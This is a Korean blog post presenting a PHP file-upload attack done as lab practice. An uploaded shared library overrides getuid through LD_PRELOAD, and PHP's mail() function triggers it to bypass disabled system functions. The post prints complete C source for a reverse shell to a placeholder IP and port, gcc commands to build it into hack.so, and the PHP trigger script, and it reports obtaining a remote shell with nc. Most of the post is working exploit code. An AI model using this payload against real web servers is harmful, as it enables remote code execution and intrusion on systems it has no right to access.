일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 사이버작전 경연대회 writeup
- 정보보호병 면접
- 문화상품권 매크로
- 2019 사이버작전 경연대회
- 화이트햇 writeup
- 파일 업로드 bypass
- 파일 업로드 취약점
- 정보보호병 면접 준비
- 2019 사이버작전
- 상품권 매크로
- file upload ld_preload mail
- 문화상품권 핀번호 자동등록
- file upload vulnurability
- file_upload bypass
- ctf php
- webhacking
- 정보보호병 면접 후기
- 2019 화이트햇 writeup
- CTF writeup
- 2019 사이버작전 경연대회 writeup
- LD_PRELOAD
- 정보보호병 면접 질문
- ctf web writeup
- 육군 정보보호병
- 컬쳐랜드 매크로
- 2019 화이트햇
- file upload ld_preload
- ctf php eval
- CTF
- 파일 업로드 ld_preload
- Today
- Total
Blog to Blog
[WebHacking] File Upload 취약점 - LD_PRELOAD와 MAIL 함수를 이용한 공격 본문
[WebHacking] File Upload 취약점 - LD_PRELOAD와 MAIL 함수를 이용한 공격
kookhh0827 2019. 8. 3. 18:13<요약>
PHP의 File Upload 취약점을 활용할 때 System 관련 함수가 막혔을 경우에는
putenv함수로 LD_PRELOAD 환경변수를 추가해 getuid 함수 등을 덮어씌운 뒤,
mail함수를 호출하면 외부적으로 execve가 호출되며 우리가 삽입한 함수를 실행시킬 수 있다.
이와 관련해 실습을 하면서 설명을 기록해 두고자 합니다.
실습 사이트는 파일 업로드 기능이 구현되어 있는 간단한 페이지를 갖고 있습니다.
우리의 목표는 index.php가 들어있는 폴더에 있는 read_flag 파일을 실행시키는 것입니다.
전혀 보안처리가 되어있지 않은 소스코드로 작성되어 있기 때문에,
exec 등의 함수로 ../../read_flag를 실행시켜 받아오면 끝날것 같아 보입니다.
그러나 해당 사이트의 php 설정파일(php.ini)에서 시스템 관련 함수를 막아놨기 때문에,
간단한 방법으로는 해결할 수 없습니다.
여기서 필요한 방법이 LD_PRELOAD를 이용해 함수를 후킹하는 것입니다.
LD_PRELOAD에 등록된 동적 라이브러리(shared object)가 가장 먼저 로딩되므로,
이보다 뒤에 동일한 이름의 함수가 등록되어도 항상 LD_PRELOAD에 등록된 함수가 먼저 실행됩니다.
이로인해 어떤 프로그램이 실행되는 과정을 변조시킬 수 있는데 이를 so injection과 함수 후킹이라고 부릅니다.
FILE UPLOAD 취약점에서 이를 활용하기 위해서는 두가지 조건을 만족해야 합니다.
1. .so 파일(라이브러리 파일)을 업로드 하고, 환경변수 LD_PRELOAD에 등록할 수 있어야 한다.
2. php에서 우리가 후킹한 외부의 어떤 함수를 사용해야 한다.
이 두 조건을 충족시키기 위해 putenv와 mail 함수를 사용하는 방법이 알려져 있는데요.
mail 함수는 호출 시 sendmail을 사용하는데,
여기서 execve를 이용해 "/bin/sh"를 실행시키기 때문에,
getuid와 같은 함수들이 호출되게 됩니다.
그리고 이 getuid 함수는 "unistd.h"에서 가져오게됩니다.
즉 우리가 만든 동적 라이브러리를 putenv를 통해 LD_PRELOAD에 등록하게 되면,
unistd.h의 getuid보다 우리가 정의해준 getuid가 우선 순위를 갖게되어
우리가 원하는 동작을 유도할 수 있게됩니다.
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
void payload() {
struct sockaddr_in serveraddr;
int server_sockfd;
int client_len;
char buf[80],rbuf[80], *cmdBuf[2]={"/bin/sh",(char *)0};
server_sockfd = socket(AF_INET, SOCK_STREAM, 6);
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = inet_addr("[IP_HERE]");
serveraddr.sin_port = htons(atoi("[PORT_HERE]"));
client_len = sizeof(serveraddr);
connect(server_sockfd, (struct sockaddr*)&serveraddr, client_len);
dup2(server_sockfd, 0);
dup2(server_sockfd, 1);
dup2(server_sockfd, 2);
execve("/bin/sh",cmdBuf,0);
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
이를 위해 먼저 간단한 C코드를 짜보았습니다.
payload 함수에는 리버스 쉘을 연결시켜주는 코드가 들어있습니다(출처: https://qkqhxla1.tistory.com/251)
제가 적어놓은 IP 주소와 포트로 리버스 쉘을 연결시켜 줍니다.
그리고 getuid() 함수를 덮어씌우기 위해 함수를 정의해주었습니다.
만약 이 동적라이브러리가 서버에 업로드되고 환경변수에 등록된 채로 getuid가 호출된다면,
원격에서 쉘을 딸 수 있겠죠?
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
그 다음 이를 hack.c로 저장하고, hack.so파일로 만들어줬습니다.
서버에 이를 업로드 했으니,
이제 putenv와 mail함수를 호출하는 php 소스코드를 올릴 차례입니다.
<?php
putenv("LD_PRELOAD=./hack.so");
mail('a','a','a','a');
?>
간단한 php 소스코드입니다.
putenv를 통해 LD_PRELOAD 환경변수를 등록해 주고,
mail 함수를 실행해 웹서버 daemon이 sendmail을 사용하도록 유도합니다.
원하는 파일들을 모두 등록해줬으니,
이제 hack.php를 클릭해 실행시키면 됩니다.
다른 외부 서버에서 nc로 포트를 열고 응답을 기다린 후
hack.php 파일을 실행시키자 정상적으로 쉘이 따졌습니다.
이렇게 하면 LD_PRELOAD 환경변수와 mail 함수를 이용한 exploit을 성공한 것입니다.
이러한 공격이 가능한 원인은 앞서 말했듯이
내부적으로 외부의 sendmail을 실행시키게 되면서 execve가 실행되기 때문입니다.
위 사진을 보면 mail함수가 들어있는 php 소스코드를 실행시키면
[pid 4358] execve("/bin/sh", ...)
로 "/bin/sh"를 execve로 실행시키는 과정이 있음을 알 수 있습니다.
그렇다면 여기서 의문이 생길 수 있습니다.
굳이 mail 함수를 사용하지 않더라도 php가 외부 함수만 호출시키게 한다면
해당 함수를 덮어씌워 exploit 해볼 수 있지 않을까?
물론 가능합니다.
이에 대한 내용은 다음 포스트에서 다뤄보도록 하겠습니다.
만약 포스트에 잘못된 내용이 있거나, 추가해야 할 부분이 있다면 댓글로 알려주시길 바랍니다.